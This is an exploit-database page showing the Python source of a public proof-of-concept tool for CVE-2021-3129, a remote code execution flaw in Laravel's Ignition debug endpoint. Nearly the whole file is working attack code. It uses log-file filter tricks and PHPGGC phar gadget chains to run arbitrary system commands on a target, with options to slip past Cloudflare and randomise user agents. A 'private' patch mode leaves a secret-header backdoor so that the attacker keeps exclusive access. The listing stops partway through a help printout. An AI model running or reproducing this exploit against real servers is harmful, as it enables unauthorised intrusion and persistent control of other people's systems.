Exploit database

GH-6ffd37711e24141960647fc4fef83d29

joshuavanderpoll/cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files11
joshuavanderpoll/cve-2021-3129Revision 931ba1601fdd

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2021-3129.py

Python · 39,789 bytes
import argparse
import base64
import json
import os
import random
import re
import shutil
import stat
import subprocess
import sys
import uuid
import zipfile
from urllib.parse import urlparse

import requests
from packaging import version


PURPLE    = '\033[95m'
CYAN      = '\033[96m'
DARKCYAN  = '\033[36m'
BLUE      = '\033[94m'
GREEN     = '\033[92m'
YELLOW    = '\033[93m'
RED       = '\033[91m'
BOLD      = '\033[1m'
UNDERLINE = '\033[4m'
END       = '\033[0m'


LARAVEL_FUNCTION_CHAINS = {
    "laravel/rce1", "laravel/rce2", "laravel/rce3", "laravel/rce4",
    "laravel/rce7", "laravel/rce8", "laravel/rce9", "laravel/rce10",
    "laravel/rce11", "laravel/rce12", "laravel/rce13", "laravel/rce14",
    "laravel/rce15", "laravel/rce16", "laravel/rce17",
    "laravel/rce20", "laravel/rce21", "laravel/rce22",
}

LARAVEL_PHP_CODE_CHAINS = {
    "laravel/rce5", "laravel/rce6", "laravel/rce18",
}

LARAVEL_COMMAND_CHAINS = {
    "laravel/rce19",
}

MONOLOG_COMMAND_CHAINS = {
    "monolog/rce4",
}

LARAVEL_CHAINS = [
    "laravel/rce1",
    "laravel/rce2",
    "laravel/rce3",
    "laravel/rce4",
    "laravel/rce5",
    "laravel/rce6",
    "laravel/rce7",
    "laravel/rce8",
    "laravel/rce9",
    "laravel/rce10",
    "laravel/rce11",
    "laravel/rce12",
    "laravel/rce13",
    "laravel/rce14",
    "laravel/rce15",
    "laravel/rce16",
    "laravel/rce17",
    "laravel/rce18",
    "laravel/rce19",
    "laravel/rce20",
    "laravel/rce21",
    "laravel/rce22",
]

MONOLOG_CHAINS = [
    "monolog/rce1",
    "monolog/rce2",
    "monolog/rce3",
    "monolog/rce4",
    "monolog/rce5",
    "monolog/rce6",
    "monolog/rce7",
    "monolog/rce8",
    "monolog/rce9",
]

CHAINS = LARAVEL_CHAINS + MONOLOG_CHAINS

USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Linux; Android 15; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7844.88 Mobile Safari/537.36",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/149.0.7844.85 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPad; CPU OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/149.0.7844.85 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:151.0) Gecko/20100101 Firefox/151.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 15.5; rv:151.0) Gecko/20100101 Firefox/151.0",
    "Mozilla/5.0 (X11; Linux x86_64; rv:151.0) Gecko/20100101 Firefox/151.0",
    "Mozilla/5.0 (Android 15; Mobile; rv:151.0) Gecko/151.0 Firefox/151.0",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/151.0 Mobile/15E148 Safari/605.1.15",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPad; CPU OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1",
]

PHPGGC_API_URL = "https://api.github.com/repos/ambionics/phpggc/commits/master"
PHPGGC_DIR = "./phpggc-master"
PHPGGC_BINARY = os.path.join(PHPGGC_DIR, "phpggc")
PHPGGC_VERSION_FILE = ".phpggc_version"

_FILTER_CLEAR = (
    "php://filter/write=convert.iconv.utf-8.utf-16le"
    "|convert.quoted-printable-encode"
    "|convert.iconv.utf-16le.utf-8"
    "|convert.base64-decode/resource="
)
_FILTER_CONVERT = (
    "php://filter/read=convert.quoted-printable-decode"
    "|convert.iconv.utf-16le.utf-8"
    "|convert.base64-decode/resource="
)


class Main:
    def __init__(
        self, host, force=False, log_path=None, useragent=False,
        chain=None, php_executable="php", private_key="",
        no_cache=False, exec_command=None, cloudflare=False, timeout=10
    ):
        self.host             = host
        self.force            = force
        self.log_path         = log_path
        self.useragent        = self.random_useragent() if useragent else "joshuavanderpoll/CVE-2021-3129"
        self.chain            = chain
        self.php_executable   = php_executable
        self.no_cache         = no_cache
        self.private_key      = private_key if private_key != "" else self.get_cache("private_key")
        self.root_path        = None
        self.operating_system = None
        self.is_patched       = False
        self.last_used_chain  = None
        self.exec_command     = exec_command
        self.cloudflare_bypass = cloudflare
        self.timeout           = timeout

        # Setup session
        if self.cloudflare_bypass:
            try:
                import cloudscraper  # pylint: disable=import-outside-toplevel
            except ImportError:
                error("cloudscraper is not installed. Run: pip install cloudscraper")
                sys.exit(1)
            info("Using CloudScraper to bypass Cloudflare protections.")
            self.session = cloudscraper.create_scraper(
                browser={'browser': 'chrome', 'platform': 'windows', 'mobile': False}
            )
        else:
            self.session = requests.session()

        # Check for previous working chains
        previous_chain = self.get_cache("working_chain")

        if chain is None and self.get_cache("working_chain") != "":
            prompt = f"Would you like to use the previous working chain '{BOLD}{previous_chain}{END}{PURPLE}' [Y/N] :"
            use_chain = _input(prompt).lower()

            if use_chain in ("y", "yes"):
                self.chain = self.get_cache("working_chain")

        self.start()


    def start(self):
        loading(f"Starting the exploit on \"{BOLD}{CYAN}{self.host}{END}{DARKCYAN}\"...")

        if not self.is_vulnerable():
            error("The host does not seem to be vulnerable. Use the \"--force\" parameter to bypass this check.")
            sys.exit()

        if not self.exec_command:
            info("Use \"?\" for a list of all available actions.")
        self.ask_command()


    def ask_command(self):
        if self.exec_command:
            self.cmd_clear_logs()
            self.cmd_execute_cmd(self.exec_command)
            return

        while True:
            response      = _input("Please enter a command to execute :")
            response_list = response.split(" ", 1)
            command       = response_list[0].lower()

            payload = ""

            if len(response_list) == 2:
                payload = response_list[1]

            if command in ("?", "help"): # Return list of commands
                self.cmd_help()
            elif command == "exit": # Stop script
                sys.exit()
            elif command == "clear_logs": # Attempt to clear laravel.log of target
                self.cmd_clear_logs()
            elif command == "execute": # Attempt to execute system command on target
                self.cmd_execute_cmd(payload)
            elif command == "write": # Attempt to write to the log file of target
                self.cmd_execute_write(payload)
            elif command == "patch": # Attempt to patch the vulnerability on the target
                self.cmd_execute_patch(payload)
            elif command == "patches": # Attempt to patch the vulnerability on the target
                self.cmd_execute_patch_details()
            elif command == "":
                error("Please enter a command.")
            else:
                error(f"No command found named \"{command}\".")


    def cmd_help(self):
        info("Available commands")
        print(f"{DARKCYAN}    exit                       {CYAN}-  Exit program.")
        print(f"{DARKCYAN}    help                       {CYAN}-  Show available commands.")
        print(f"{DARKCYAN}    clear_logs                 {CYAN}-  Clear Laravel logs.")
        print(f"{DARKCYAN}    execute <command>          {CYAN}-  Execute system command.")
        print(f"{DARKCYAN}    write <text>               {CYAN}-  Write to log file.")
        print(f"{DARKCYAN}    patch <env/index/private>  {CYAN}-  Patch the vulnerability.")
        print(f"{DARKCYAN}    patches                    {CYAN}-  Detailed information about patch modes.")


    def cmd_clear_logs(self):
        loading("Clearing Laravel logs...")
        self.exploit_clear_logs()

        if not self.force:
            _success("Cleared Laravel logs!")


    def cmd_execute_cmd(self, cmd: str, ignore_specials=False, output_success=True):
        while cmd == "":
            cmd = _input("Please enter a command to execute :")

        loading(f"Executing command \"{BOLD}{CYAN}{cmd}{END}{DARKCYAN}\"...")
        payloads = self.generate_payload(command=cmd, padding=16, ignore_specials=ignore_specials)

        if not payloads:
            return

        for i, payload in enumerate(payloads, 1):
            self.last_used_chain = payload['name']
            loading(f"Trying chain {payload['name']} [{i}/{len(payloads)}]...")
            success = self.exploit_execute(payload['data'], output_success)

            if success:
                break

            if i < len(payloads):
                if self.exec_command:
                    # Non-interactive mode: auto-try all chains
                    continue

                next_chain = _input("Would you like to try the next chain? [Y/N] :").lower()

                if next_chain not in ("y", "yes"):
                    break


    def cmd_execute_patch_details(self):
        print(f"{BLUE}[•] Different patch modes for \"patch <env/index/private>\" command:")
        print(f"{DARKCYAN}    env      {CYAN}-  Updates the .env file so that APP_DEBUG will be set from 'true' to 'false'")
        print(f"{DARKCYAN}    index    {CYAN}-  Injects code into index.php which prevents access to '/_ignition/execute-solution'")
        print(f"{DARKCYAN}    private  {CYAN}-  Same as the 'index' mode but generates a private header key, so you can still access the vulnerability")


    def cmd_execute_patch(self, mode: str):
        if self.chain is None:
            warning("To use this feature please find a working chain using 'execute' function or use the '--chain' command argument.")
            return

        mode = mode.lower()

        while mode not in ("env", "index", "private"):
            mode = _input("Enter the patch mode to use <env/index/private> :")

        loading(f"Attempting to patch the Laravel application using \"{mode}\" mode...")
        private_key = str(uuid.uuid4())

        index_patch = _b64(
            'if(isset($_SERVER["REQUEST_URI"]) && strtolower($_SERVER["REQUEST_URI"]) == '
            '"/_ignition/execute-solution") { http_response_code(403); '
            'echo "<h1>Exploit patched</h1><!-- This exploit has been patched with '
            'https://github.com/joshuavanderpoll/CVE-2021-3129 -->"; exit(); }'
        )
        private_patch = _b64(
            'if(isset($_SERVER["REQUEST_URI"]) && strtolower($_SERVER["REQUEST_URI"]) == '
            '"/_ignition/execute-solution") {if(!isset($_SERVER["HTTP_X_BYPASS_TOKEN"]) || '
            f'$_SERVER["HTTP_X_BYPASS_TOKEN"] != "{private_key}") '
            '{http_response_code(403);echo "<h1>Exploit patched</h1><!-- This exploit has been patched with '
            'https://github.com/joshuavanderpoll/CVE-2021-3129 -->";exit();}}'
        )

        # Setup needed paths for commands
        if self.operating_system == "windows":
            patch_path = f"{self.root_path}\\\\public\\\\patch.php"
            env_path   = f"{self.root_path}\\\\.env"
            index_path = f"{self.root_path}\\\\public\\\\index.php"
        else:
            patch_path = f"{self.root_path}/public/patch.php"
            env_path   = f"{self.root_path}/.env"
            index_path = f"{self.root_path}/public/index.php"

        # Prevent double patch input
        execute_patch = True

        if self.is_patched and mode in ("index", "private"):
            msg = "[!] This host seems to be patched already. Patching again may break the host. Continue? [Y/N] : "
            continue_patch = input(YELLOW + msg)

            if continue_patch.lower() not in ("y", "yes"):
                execute_patch = False

        if not execute_patch:
            warning("Aborted patch")
            return

        patch_command = None

        if mode == "env": # Updates the .env file so that APP_DEBUG will be set from 'true' to 'false'
            patch_command = (
                f'echo "<?php file_put_contents(\\"{env_path}\\", '
                f'preg_replace(\\"/APP_DEBUG.*=.*[Tt][Rr][Uu][Ee]/i\\", \\"APP_DEBUG=false\\", '
                f'file_get_contents(\\"{env_path}\\"))); unlink(\\"{patch_path}\\"); ?>" > "{patch_path}"'
            )
        elif mode == "index": # Injects code into index.php which prevents access to '/_ignition/execute-solution'
            patch_command = (
                f'echo "<?php file_put_contents(\\"{index_path}\\", '
                f'str_replace(\\"<?php\\", \\"<?php\\".PHP_EOL.base64_decode(\\"{index_patch}\\").PHP_EOL, '
                f'file_get_contents(\\"{index_path}\\"))); unlink(\\"{patch_path}\\"); ?>" > "{patch_path}"'
            )
        elif mode == "private": # Same as the 'index' mode but generates a private header key, so you can still access the vulnerability
            self.private_key = private_key
            self.cache_data('private_key', self.private_key)
            _success(f"Your \"X-BYPASS-TOKEN\" key is: \"{self.private_key}\".")
            patch_command = (
                f'echo "<?php file_put_contents(\\"{index_path}\\", '
                f'str_replace(\\"<?php\\", \\"<?php\\".PHP_EOL.base64_decode(\\"{private_patch}\\").PHP_EOL, '
                f'file_get_contents(\\"{index_path}\\"))); unlink(\\"{patch_path}\\"); ?>" > "{patch_path}"'
            )

        if patch_command is None:
            error("Failed generating patching payload.")
            return

        # Send patch command
        self.cmd_execute_cmd(patch_command, True, False)

        # Set headers
        headers = {"User-Agent": self.useragent}

        if self.private_key != "":
            headers['X-BYPASS-TOKEN'] = self.private_key

        response = self.session.get(url=f"{self.host}patch.php", verify=False, headers=headers, timeout=10)

        if response.status_code == 200:
            self.is_patched = True
            _success("Patch seems to be deployed.")
        else:
            error("Patch has failed.")


    def cmd_execute_write(self, text: str, path=None):
        while text == "":
            text = _input("Enter the text to write")

        loading(f"Writing to log file: \"{text}\"...")
        payload = self.generate_write_payload(text, 16)
        log_path = path if path is not None else self.log_path

        loading("Clearing logs...")  # Step 1. Clear logs to prevent old payloads executing.
        self.exploit_clear_logs()

        loading("Causing error in logs...")  # Step 2. Cause a error to write phar file.

        if self.exploit_cause_error().status_code != 500:
            error("Failed causing error.")
            return
        _success("Caused error in logs.")

        loading("Sending payload...")  # Step 3. Cause error with payload so payload in log file.

        if self.exploit_request(payload, 500).status_code != 500:
            error("Failed sending payload.")
            return
        _success("Sent payload.")

        loading("Converting payload...")  # Step 4. Change te log file into the payload in the log file.
        convert_resp = self.exploit_request(f"{_FILTER_CONVERT}{log_path}", 200)

        if convert_resp.status_code != 200:
            error("Failed converting payload.")
            return
        _success("Converted payload.")


    def cache_data(self, key: str, value):
        if self.no_cache:
            return

        if not os.path.exists('.cache'):
            os.mkdir('.cache')

        parsed_host = urlparse(self.host)
        file_name = re.sub('[^A-Za-z0-9]+', '', parsed_host.netloc) + ".json"
        file_path = os.path.join(".cache", file_name)

        file_contents = {}

        if not os.path.exists(file_path):
            with open(file_path, "w", encoding="utf-8") as f:
                f.write("{}")
        else:
            with open(file_path, "r", encoding="utf-8") as f:
                file_contents = json.loads(f.read())

        file_contents[key] = value

        with open(file_path, "w", encoding="utf-8") as f:
            f.write(json.dumps(file_contents, indent=4))


    def get_cache(self, key: str):
        if self.no_cache:
            return ""

        file_contents = ""

        if not os.path.exists('.cache'):
            return file_contents

        parsed_host = urlparse(self.host)
        file_name = re.sub('[^A-Za-z0-9]+', '', parsed_host.netloc) + ".json"
        file_path = os.path.join(".cache", file_name)

        if os.path.exists(file_path):
            with open(file_path, "r", encoding="utf-8") as f:
                json_contents = json.loads(f.read())

                if key in json_contents:
                    file_contents = json_contents[key]

        return file_contents


    def exploit_clear_logs(self) -> requests.Response:  # Clear entire log file
        return self.exploit_request(f"{_FILTER_CLEAR}{self.log_path}", 200, True)


    def exploit_cause_error(self) -> requests.Response:  # Cause error by sending path parameter
        return self.exploit_request("AA", 500)


    def exploit_execute(self, payload: str, output_success=True):
        success = True

        loading("Clearing logs...")  # Step 1. Clear logs to prevent old payloads executing.
        self.exploit_clear_logs()

        loading("Causing error in logs...")  # Step 2. Cause a error to write phar file.

        if self.exploit_cause_error().status_code != 500:
            error("Failed causing error.")
            self.exploit_clear_logs()
            success = False
        else:
            _success("Caused error in logs.")

        loading("Sending payloads...")

        if self.exploit_request(payload, 500).status_code != 500:  # Step 3. Cause error with payload so payload in log file.
            error("Failed sending payload.")
            self.exploit_clear_logs()
            success = False
        else:
            _success("Sent payload.")

        loading("Converting payload...")  # Step 4. Change te log file into the payload in the log file.
        convert_resp = self.exploit_request(f"{_FILTER_CONVERT}{self.log_path}", 200)

        if convert_resp.status_code != 200:
            error("Failed converting payload.")
            self.exploit_clear_logs()
            success = False
        else:
            _success("Converted payload.")

        exploited = self.exploit_request(f"phar://{self.log_path}", 500)  # Step 5. Let host execute phar script.

        if exploited.status_code == 500 and "cannot be empty" in exploited.text:
            if output_success:
                _success("Output :")
                result = exploited.text.split("</html>")[1]
                print(END + result)

                if result.strip():
                    print(
                        f"{YELLOW}⭐ If this script helped you, consider starring "
                        f"{UNDERLINE}https://github.com/joshuavanderpoll/CVE-2021-3129{END}{YELLOW} ⭐{END}"
                    )

                    if self.chain is None:
                        _success("Working chain found. You have now access to the 'patch' functionality.")
                        self.chain = self.last_used_chain
                        self.cache_data('working_chain', self.chain)
                else:
                    success = False
        else:
            error_search = r"<title>🧨 (.*?)<\/title>"
            error_result = re.search(error_search, exploited.text)

            if error_result:
                error(f"Failed execution of payload.\nError : {error_result[1]}")
            else:
                error("Failed execution of payload.")
            success = False

        self.exploit_clear_logs()
        self.exploit_clear_logs()

        return success


    def random_useragent(self) -> str:
        return random.choice(USER_AGENTS)


    def get_local_phpggc_commit(self) -> str | None:
        if not os.path.exists(PHPGGC_VERSION_FILE):
            return None

        try:
            with open(PHPGGC_VERSION_FILE, "r", encoding="utf-8") as f:
                sha = f.read().strip()
                return sha or None
        except OSError:
            return None


    def get_remote_phpggc_commit(self) -> str | None:
        try:
            resp = self.session.get(
                PHPGGC_API_URL,
                headers={
                    "Accept": "application/vnd.github.v3+json",
                    "User-Agent": self.useragent,
                },
                verify=False,
                timeout=self.timeout,
            )
        except Exception:  # pylint: disable=broad-exception-caught
            return None

        if resp.status_code != 200:
            return None

        try:
            data = resp.json()
        except ValueError:
            return None

        return data.get("sha")


    def setup_phpggc(self):
        zip_path = "./master_phpggc.zip"
        loading("Downloading PHPGGC from \"ambionics/phpggc\" GitHub repository...")

        # Remove old phpggc directory
        if os.path.exists(PHPGGC_DIR):
            shutil.rmtree(PHPGGC_DIR, ignore_errors=True)

        # Download repository zip (master branch)
        response = self.session.get(
            "https://github.com/ambionics/phpggc/archive/refs/heads/master.zip",
            verify=False,
            allow_redirects=True,
            headers={"User-Agent": self.useragent},
            timeout=self.timeout * 6,  # larger timeout for zip download
        )

        with open(zip_path, "wb") as f:
            f.write(response.content)

        # Unzip zip
        with zipfile.ZipFile(zip_path, "r") as zip_ref:
            zip_ref.extractall("./")
        _success("Downloaded/extracted PHPGGC.")

        # Setup phpggc execute permissions
        loading("Updating PHPGGC execution permissions...")

        if os.path.exists(PHPGGC_BINARY):
            st = os.stat(PHPGGC_BINARY)
            os.chmod(PHPGGC_BINARY, st.st_mode | stat.S_IEXEC)
        _success("Updated PHPGGC execution permissions.")

        # Remove extracted zip file
        os.unlink(zip_path)


    def ensure_phpggc(self):
        local_sha  = self.get_local_phpggc_commit()
        remote_sha = self.get_remote_phpggc_commit()

        needs_update = (
            not os.path.exists(PHPGGC_BINARY)  # Never downloaded before
            or (remote_sha and local_sha and remote_sha != local_sha)  # New commit available -> update
        )

        if needs_update:
            self.setup_phpggc()
            # Only write if we have a valid SHA
            if remote_sha:
                try:
                    with open(PHPGGC_VERSION_FILE, "w", encoding="utf-8") as f:
                        f.write(remote_sha)
                except OSError:
                    # Not fatal – phpggc itself still works
                    pass


    def generate_payload(self, command: str, padding=0, ignore_specials=False) -> list:
        payloads = []
        loading("Generating payload...")

        # Prepare command
        if not ignore_specials:
            if '/' in command:
                command = command.replace('/', '\\/')
                command = command.replace('\'', '\\\'')

            if '\'' in command:
                command = command.replace("'", "\\'")

        try:
            subprocess.run(
                [self.php_executable, "-v"],
                stdout=subprocess.DEVNULL,
                stderr=subprocess.DEVNULL,
                check=True,
            )
        except FileNotFoundError:
            error("PHP does not seem to be installed. Please use the \"--php\" variable to define your PHP path.")
            return []
        except subprocess.CalledProcessError:
            error("PHP executable returned an error. Please verify your PHP installation.")
            return []

        # Check PHPGGC
        self.ensure_phpggc()

        if not os.path.exists(PHPGGC_BINARY):
            error("Required binary PHPGGC not found.")
            return []

        # Build payload
        if os.path.exists("./.tmp"):
            shutil.rmtree("./.tmp")
        os.mkdir("./.tmp")

        chains = CHAINS if self.chain is None else [self.chain]

        for chain in chains:
            phar_path = f"./.tmp/{chain.replace('/', '-')}.phar"
            chain_l   = chain.lower()
            cmd       = [self.php_executable, "-dphar.readonly=0", PHPGGC_BINARY, chain]

            if chain_l.startswith("laravel/"):
                if chain_l in LARAVEL_PHP_CODE_CHAINS:
                    cmd.append(f"system('{command}');")
                elif chain_l in LARAVEL_COMMAND_CHAINS:
                    cmd.append(command)
                else:
                    cmd.extend(["system", command])
            elif chain_l in MONOLOG_COMMAND_CHAINS:
                cmd.append(command)
            else:
                cmd.extend(["system", command])

            cmd.extend(["--phar", "phar", "-o", phar_path])

            # Run phpggc
            subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=False)

            if os.path.exists(phar_path):
                with open(phar_path, "rb") as f:
                    raw = f.read()

                encoded = base64.b64encode(raw).decode().rstrip("=")
                encoded = "".join(c + "=00" for c in encoded)
                encoded = "A" * padding + encoded
                encoded = encoded.replace("\n", "") + "A"

                payloads.append({"data": encoded, "name": chain})

                # Delete temporary files
                os.unlink(phar_path)

        _success(f"Generated {len(payloads)} payloads.")
        return payloads


    def generate_write_payload(self, text: str, padding=0) -> str:
        loading("Generating payload...")

        # Prepare/encode payload
        payload = base64.b64encode(text.encode()).decode().rstrip('=')
        payload = ''.join(c + '=00' for c in payload)
        payload = 'A' * padding + payload
        _success("Generated payload.")
        return payload


    def exploit_request(self, value: str, expected_response: int = 200, silent=False) -> requests.Response:
        data = {
            "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
            "parameters": {
                "variableName": "variable",
                "viewFile": value
            }
        }
        headers = {
            "Content-Type": "application/json",
            "Accept": "*/*",
            "User-Agent": self.useragent,
        }

        if self.private_key != "":
            headers['X-BYPASS-TOKEN'] = self.private_key

        response = self.session.post(
            url=f"{self.host}_ignition/execute-solution",
            json=data,
            headers=headers,
            verify=False,
            timeout=self.timeout,
        )

        if response.status_code != expected_response and not silent:
            error_search = r"<title>🧨 (.*?)<\/title>"
            error_result = re.search(error_search, response.text)

            if error_result:
                error(
                    f"Exploit request returned status code {response.status_code}. "
                    f"Expected {expected_response}.\nError: \"{error_result[1]}\""
                )
            else:
                error(f"Exploit request returned status code {response.status_code}. Expected {expected_response}")

        # Check if host has patched vulnerability
        text_lower = response.text.lower()

        if "runnable solutions are disabled in non-local environments" in text_lower:
            error("Website has patched the vulnerability. Response: \"Runnable solutions are disabled in non-local environments.\"")

        if "solutions can only be executed by requests from a local ip address" in text_lower:
            error("Website has patched the vulnerability. Response: \"Solutions can only be executed by requests from a local IP address.\"")

        return response


    def is_vulnerable(self):
        loading(f"Testing vulnerable URL \"{BOLD}{CYAN}{self.host}_ignition/execute-solution{END}{DARKCYAN}\"...")

        headers = {"User-Agent": self.useragent}

        if self.private_key != "":
            headers['X-BYPASS-TOKEN'] = self.private_key

        response = self.session.get(
            url=f"{self.host}_ignition/execute-solution",
            verify=False,
            headers=headers,
            timeout=self.timeout,
        )

        attempts = 0

        while response.status_code == 403 and "Exploit patched" in response.text:
            self.is_patched = True

            if attempts > 0:
                error(f"Invalid private key [{attempts}/3]")

            if attempts >= 3:
                sys.exit(1)
            self.private_key = _input("This host has already been patched. Enter private key:")
            headers['X-BYPASS-TOKEN'] = self.private_key
            response = self.session.get(
                url=f"{self.host}_ignition/execute-solution",
                verify=False,
                headers=headers,
                timeout=self.timeout,
            )
            attempts += 1

        # Check vulnerable url by sending invalid GET request (only POST allowed)
        if response.status_code != 405:
            info(f"The host returned status code \"{response.status_code}\". Expected 405 (Method not allowed)")

            if not self.force:
                return False

        # Check if vulnerable url contains signs of Laravel
        if "laravel" not in str(response.content):
            if "405 method not allowed" in str(response.content).lower():
                error("Host refused request method.")
            else:
                error("The host does not appear to be running Laravel. No \"laravel\" found in response body.")

            if not self.force:
                return False

        if not self.force:
            _success("Host seems vulnerable!")

        # Check if log path defined in error response
        loading("Searching Laravel log file path...")
        self.find_log_path(content=response.content)

        if self.log_path is None:
            error("No log path could be found. Please specify the log path using the \"--log\" parameter")
            sys.exit()
        else:
            _success(f"Laravel log path: \"{BOLD}{self.log_path}{END}{GREEN}\".")

        # Check if laravel version defined in error response
        laravel_version = self.find_laravel_version(content=response.text)

        if laravel_version is not None:
            info(f"Laravel version found: \"{BOLD}{DARKCYAN}{laravel_version}{END}{BLUE}\".")

            if not self.force:
                if version.parse(laravel_version) >= version.parse("8.4.2"):
                    error("The host is using a patched version of Laravel. Use the \"--force\" parameter to bypass this check.")
                    sys.exit()

        return True


    def find_log_path(self, content):
        # Regex search for file path
        search_res = re.search(r"The .* supported .* in file (.*?) on line", str(content))

        if not search_res:
            return

        file_path = search_res[1]

        if "/vendor/laravel/framework" in file_path: # Linux system
            info(f"Laravel seems to be running on a {DARKCYAN}{BOLD}Linux{END}{BLUE} based machine.")
            self.root_path = file_path.split("/vendor/laravel/framework")[0]
            self.log_path = f"{self.root_path}/storage/logs/laravel.log"
            self.operating_system = "linux"

        if "\\\\vendor\\\\laravel\\\\framework" in file_path: # Windows system
            info(f"Laravel seems to be running on a {DARKCYAN}{BOLD}Windows{END}{BLUE} based machine.")
            self.root_path = file_path.split("\\\\vendor\\\\laravel\\\\framework")[0].replace("\\\\", "\\")
            self.log_path = f"{self.root_path}\\storage\\logs\\laravel.log"
            self.operating_system = "windows"


    def find_laravel_version(self, content: str):
        # Regex search for framework version
        search_res = re.search(r'"framework_version":"(.*?)"', content)
        return search_res[1] if search_res else None


def _b64(text: str) -> str:
    return base64.b64encode(text.encode('utf-8')).decode('utf-8')


def info(text: str):
    print(f"{BLUE}[•] {text}{END}")


def loading(text: str):
    print(f"{DARKCYAN}[@] {text}{END}")


def error(text: str):
    print(f"{RED}[!] {text}{END}")


def _success(text: str):
    print(f"{GREEN}[√] {text}{END}")


def warning(text: str):
    print(f"{YELLOW}[!] {text}{END}")


def _input(text: str):
    return input(f"{PURPLE}[?] {text} {END}")


def validate_url(url: str) -> bool:
    # https://stackoverflow.com/a/7160778
    regex = re.compile(
        r'^(?:http)s?://'
        r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'
        r'localhost|'
        r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
        r'(?::\d+)?'
        r'(?:/?|[/?]\S+)$', re.IGNORECASE)
    return re.match(regex, url) is not None


if __name__ == "__main__":
    # Credits
    print(f"{PURPLE}{BOLD}  _____   _____   ___ __ ___ _    _____ ___ ___ ")
    print(f"{PURPLE}{BOLD} / __\\ \\ / / __|_|_  )  \\_  ) |__|__ / |_  ) _ \\")
    print(f"{PURPLE}{BOLD}| (__ \\ V /| _|___/ / () / /| |___|_ \\ |/ /_,  /")
    print(f"{PURPLE}{BOLD} \\___| \\_/ |___| /___\\__/___|_|  |___/_/___|/_/ ")
    print(f"{PURPLE}{BOLD} {UNDERLINE}https://github.com/joshuavanderpoll/CVE-2021-3129{END}")
    print(f"{END}{PURPLE} Using PHPGGC: {UNDERLINE}https://github.com/ambionics/phpggc{END}\n")

    # Arguments
    parser = argparse.ArgumentParser(description='Exploit CVE-2021-3129 - Laravel vulnerability exploit script')
    parser.add_argument('--host',        help='Host URL to use exploit on')
    parser.add_argument('--force',       help='Force exploit without checking if vulnerable', default=False, action='store_true')
    parser.add_argument('--log',         help='Full path to laravel.log file (e.g. /var/www/html/storage/logs/laravel.log)', default=None)
    parser.add_argument('--ua',          help='Randomize User-Agent for requests', default=False, action='store_true')
    parser.add_argument('--chain',       help='Select PHPGGC chain. Use "--chains" to view all available chains.', default=None)
    parser.add_argument('--chains',      help='View available chains for the "--chain" parameter', default=False, action='store_true')
    parser.add_argument('--php',         help='Path to PHP executable', default="php")
    parser.add_argument('--private-key', help='Private key for patched hosts', default="")
    parser.add_argument('--no-cache',    help="Don't store private patch keys and chain results", default=False, action='store_true')
    parser.add_argument('--exec',        help='Command to execute', default=None)
    parser.add_argument('--timeout',     help='Request timeout in seconds (default: 10)', default=10, type=int)
    parser.add_argument('--cf', '--cloudflare', dest='cloudflare', action='store_true', help='Bypass Cloudflare protections')

    args = parser.parse_args()

    # Chains
    if args.chains:
        print(
            f"{BLUE}[•] Available chains (Updated: August 16 2023):\n"
            f"{DARKCYAN}- Laravel/RCE1  {CYAN}(5.4.27)\n"
            f"{DARKCYAN}- Laravel/RCE2  {CYAN}(5.4.0 <= 8.6.9+)\n"
            f"{DARKCYAN}- Laravel/RCE3  {CYAN}(5.5.0 <= 5.8.35)\n"
            f"{DARKCYAN}- Laravel/RCE4  {CYAN}(5.4.0 <= 8.6.9+)\n"
            f"{DARKCYAN}- Laravel/RCE5  {CYAN}(5.8.30)\n"
            f"{DARKCYAN}- Laravel/RCE6  {CYAN}(5.5.* <= 5.8.35)\n"
            f"{DARKCYAN}- Laravel/RCE7  {CYAN}(? <= 8.16.1)\n"
            f"{DARKCYAN}- Laravel/RCE8  {CYAN}(7.0.0 <= 8.6.9+)\n"
            f"{DARKCYAN}- Laravel/RCE9  {CYAN}(5.4.0 <= 9.1.8+)\n"
            f"{DARKCYAN}- Laravel/RCE10 {CYAN}(5.6.0 <= 9.1.8+)\n"
            f"{DARKCYAN}- Laravel/RCE11 {CYAN}(5.4.0 <= 9.1.8+)\n"
